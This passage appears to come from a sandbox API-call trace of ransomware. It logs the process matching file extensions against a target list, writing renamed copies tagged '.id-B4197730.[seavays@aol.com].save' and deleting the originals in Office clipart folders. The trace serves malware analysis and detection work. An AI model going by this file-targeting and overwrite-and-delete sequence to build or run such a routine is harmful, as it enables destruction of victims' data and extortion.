lpString2="5.JPG") returned -1 [0078.997] lstrlenW (lpString=".ppt") returned 4 [0078.997] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0078.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0078.997] lstrlenW (lpString=".zip") returned 4 [0078.997] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0078.997] lstrlenW (lpString=".rar") returned 4 [0078.997] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0078.997] lstrlenW (lpString=".bz2") returned 4 [0078.997] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0078.997] lstrlenW (lpString=".7z") returned 3 [0078.997] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0078.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0078.997] lstrlenW (lpString=".dbf") returned 4 [0078.997] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0078.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0078.998] lstrlenW (lpString=".1cd") returned 4 [0078.998] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0078.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0078.998] lstrlenW (lpString=".jpg") returned 4 [0078.998] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0078.998] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.999] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0078.999] GetLastError () returned 0x0 [0078.999] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x40d4, lpOverlapped=0x0) returned 1 [0079.001] WriteFile (in: hFile=0x394, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x40e0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x40e0, lpOverlapped=0x0) returned 1 [0079.002] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.002] WriteFile (in: hFile=0x394, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.002] SetEndOfFile (hFile=0x394) returned 1 [0079.003] CloseHandle (hObject=0x394) returned 1 [0079.003] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.003] SetEndOfFile (hFile=0x2f0) returned 1 [0079.004] CloseHandle (hObject=0x2f0) returned 1 [0079.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0079.004] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf")) returned 1 [0079.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0079.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0079.005] lstrlenW (lpString=".doc") returned 4 [0079.005] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.005] lstrlenW (lpString=".docx") returned 5 [0079.005] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0079.005] lstrlenW (lpString=".pdf") returned 4 [0079.005] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.005] lstrlenW (lpString=".xls") returned 4 [0079.005] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.005] lstrlenW (lpString=".xlsx") returned 5 [0079.005] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0079.005] lstrlenW (lpString=".ppt") returned 4 [0079.005] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0079.005] lstrlenW (lpString=".zip") returned 4 [0079.005] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.005] lstrlenW (lpString=".rar") returned 4 [0079.005] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.005] lstrlenW (lpString=".bz2") returned 4 [0079.005] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.005] lstrlenW (lpString=".7z") returned 3 [0079.005] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0079.005] lstrlenW (lpString=".dbf") returned 4 [0079.005] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0079.005] lstrlenW (lpString=".1cd") returned 4 [0079.005] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0079.005] lstrlenW (lpString=".jpg") returned 4 [0079.005] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.007] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.007] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0079.007] GetLastError () returned 0x0 [0079.007] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x5f39, lpOverlapped=0x0) returned 1 [0079.009] WriteFile (in: hFile=0x394, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x5f40, lpOverlapped=0x0) returned 1 [0079.010] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.010] WriteFile (in: hFile=0x394, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.011] SetEndOfFile (hFile=0x394) returned 1 [0079.011] CloseHandle (hObject=0x394) returned 1 [0079.011] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.011] SetEndOfFile (hFile=0x2f0) returned 1 [0079.012] CloseHandle (hObject=0x2f0) returned 1 [0079.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0079.012] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg")) returned 1 [0079.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0079.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0079.013] lstrlenW (lpString=".doc") returned 4 [0079.013] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0079.013] lstrlenW (lpString=".docx") returned 5 [0079.013] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0079.013] lstrlenW (lpString=".pdf") returned 4 [0079.013] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0079.013] lstrlenW (lpString=".xls") returned 4 [0079.013] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0079.013] lstrlenW (lpString=".xlsx") returned 5 [0079.013] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0079.013] lstrlenW (lpString=".ppt") returned 4 [0079.013] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0079.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0079.013] lstrlenW (lpString=".zip") returned 4 [0079.013] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0079.013] lstrlenW (lpString=".rar") returned 4 [0079.013] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0079.013] lstrlenW (lpString=".bz2") returned 4 [0079.013] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0079.013] lstrlenW (lpString=".7z") returned 3 [0079.013] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0079.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0079.013] lstrlenW (lpString=".dbf") returned 4 [0079.014] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0079.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0079.014] lstrlenW (lpString=".1cd") returned 4 [0079.014] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0079.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0079.014] lstrlenW (lpString=".jpg") returned 4 [0079.014] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0079.014] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.014] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0079.015] GetLastError () returned 0x0 [0079.015] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x4752, lpOverlapped=0x0) returned 1 [0079.376] WriteFile (in: hFile=0x394, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x4760, lpOverlapped=0x0) returned 1 [0079.378] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.378] WriteFile (in: hFile=0x394, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.378] SetEndOfFile (hFile=0x394) returned 1 [0079.378] CloseHandle (hObject=0x394) returned 1 [0079.378] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.378] SetEndOfFile (hFile=0x2f0) returned 1 [0079.380] CloseHandle (hObject=0x2f0) returned 1 [0079.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0079.381] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg")) returned 1 [0079.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0079.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0079.382] lstrlenW (lpString=".doc") returned 4 [0079.382] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0079.382] lstrlenW (lpString=".docx") returned 5 [0079.382] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0079.382] lstrlenW (lpString=".pdf") returned 4 [0079.382] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0079.382] lstrlenW (lpString=".xls") returned 4 [0079.382] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0079.382] lstrlenW (lpString=".xlsx") returned 5 [0079.382] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0079.382] lstrlenW (lpString=".ppt") returned 4 [0079.382] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0079.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0079.382] lstrlenW (lpString=".zip") returned 4 [0079.382] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0079.382] lstrlenW (lpString=".rar") returned 4 [0079.382] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0079.382] lstrlenW (lpString=".bz2") returned 4 [0079.382] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0079.382] lstrlenW (lpString=".7z") returned 3 [0079.382] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0079.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0079.383] lstrlenW (lpString=".dbf") returned 4 [0079.383] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0079.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0079.383] lstrlenW (lpString=".1cd") returned 4 [0079.383] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0079.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0079.383] lstrlenW (lpString=".jpg") returned 4 [0079.383] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0079.384] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.384] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0079.385] GetLastError () returned 0x0 [0079.385] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x3b29, lpOverlapped=0x0) returned 1 [0079.387] WriteFile (in: hFile=0x394, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x3b30, lpOverlapped=0x0) returned 1 [0079.388] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.388] WriteFile (in: hFile=0x394, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.388] SetEndOfFile (hFile=0x394) returned 1 [0079.389] CloseHandle (hObject=0x394) returned 1 [0079.389] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.389] SetEndOfFile (hFile=0x2f0) returned 1 [0079.394] CloseHandle (hObject=0x2f0) returned 1 [0079.395] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0079.395] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 1 [0079.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0079.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0079.396] lstrlenW (lpString=".doc") returned 4 [0079.396] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0079.396] lstrlenW (lpString=".docx") returned 5 [0079.396] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0079.396] lstrlenW (lpString=".pdf") returned 4 [0079.396] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0079.396] lstrlenW (lpString=".xls") returned 4 [0079.396] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0079.396] lstrlenW (lpString=".xlsx") returned 5 [0079.396] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0079.396] lstrlenW (lpString=".ppt") returned 4 [0079.396] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0079.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0079.396] lstrlenW (lpString=".zip") returned 4 [0079.396] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0079.396] lstrlenW (lpString=".rar") returned 4 [0079.396] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0079.396] lstrlenW (lpString=".bz2") returned 4 [0079.397] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0079.397] lstrlenW (lpString=".7z") returned 3 [0079.397] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0079.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0079.397] lstrlenW (lpString=".dbf") returned 4 [0079.397] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0079.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0079.397] lstrlenW (lpString=".1cd") returned 4 [0079.397] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0079.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0079.397] lstrlenW (lpString=".jpg") returned 4 [0079.397] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0079.398] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.398] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0079.399] GetLastError () returned 0x0 [0079.399] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x1bf2, lpOverlapped=0x0) returned 1 [0079.400] WriteFile (in: hFile=0x394, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x1c00, lpOverlapped=0x0) returned 1 [0079.402] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.402] WriteFile (in: hFile=0x394, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.402] SetEndOfFile (hFile=0x394) returned 1 [0079.402] CloseHandle (hObject=0x394) returned 1 [0079.402] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.402] SetEndOfFile (hFile=0x2f0) returned 1 [0079.404] CloseHandle (hObject=0x2f0) returned 1 [0079.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0079.405] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg")) returned 1 [0079.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0079.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0079.406] lstrlenW (lpString=".doc") returned 4 [0079.406] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0079.406] lstrlenW (lpString=".docx") returned 5 [0079.406] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0079.406] lstrlenW (lpString=".pdf") returned 4 [0079.406] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0079.406] lstrlenW (lpString=".xls") returned 4 [0079.406] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0079.406] lstrlenW (lpString=".xlsx") returned 5 [0079.406] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0079.406] lstrlenW (lpString=".ppt") returned 4 [0079.406] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0079.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0079.406] lstrlenW (lpString=".zip") returned 4 [0079.406] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0079.406] lstrlenW (lpString=".rar") returned 4 [0079.406] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0079.406] lstrlenW (lpString=".bz2") returned 4 [0079.406] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0079.406] lstrlenW (lpString=".7z") returned 3 [0079.406] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0079.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0079.407] lstrlenW (lpString=".dbf") returned 4 [0079.407] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0079.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0079.407] lstrlenW (lpString=".1cd") returned 4 [0079.407] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0079.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0079.407] lstrlenW (lpString=".jpg") returned 4 [0079.407] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0079.408] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.408] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0079.409] GetLastError () returned 0x0 [0079.409] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, 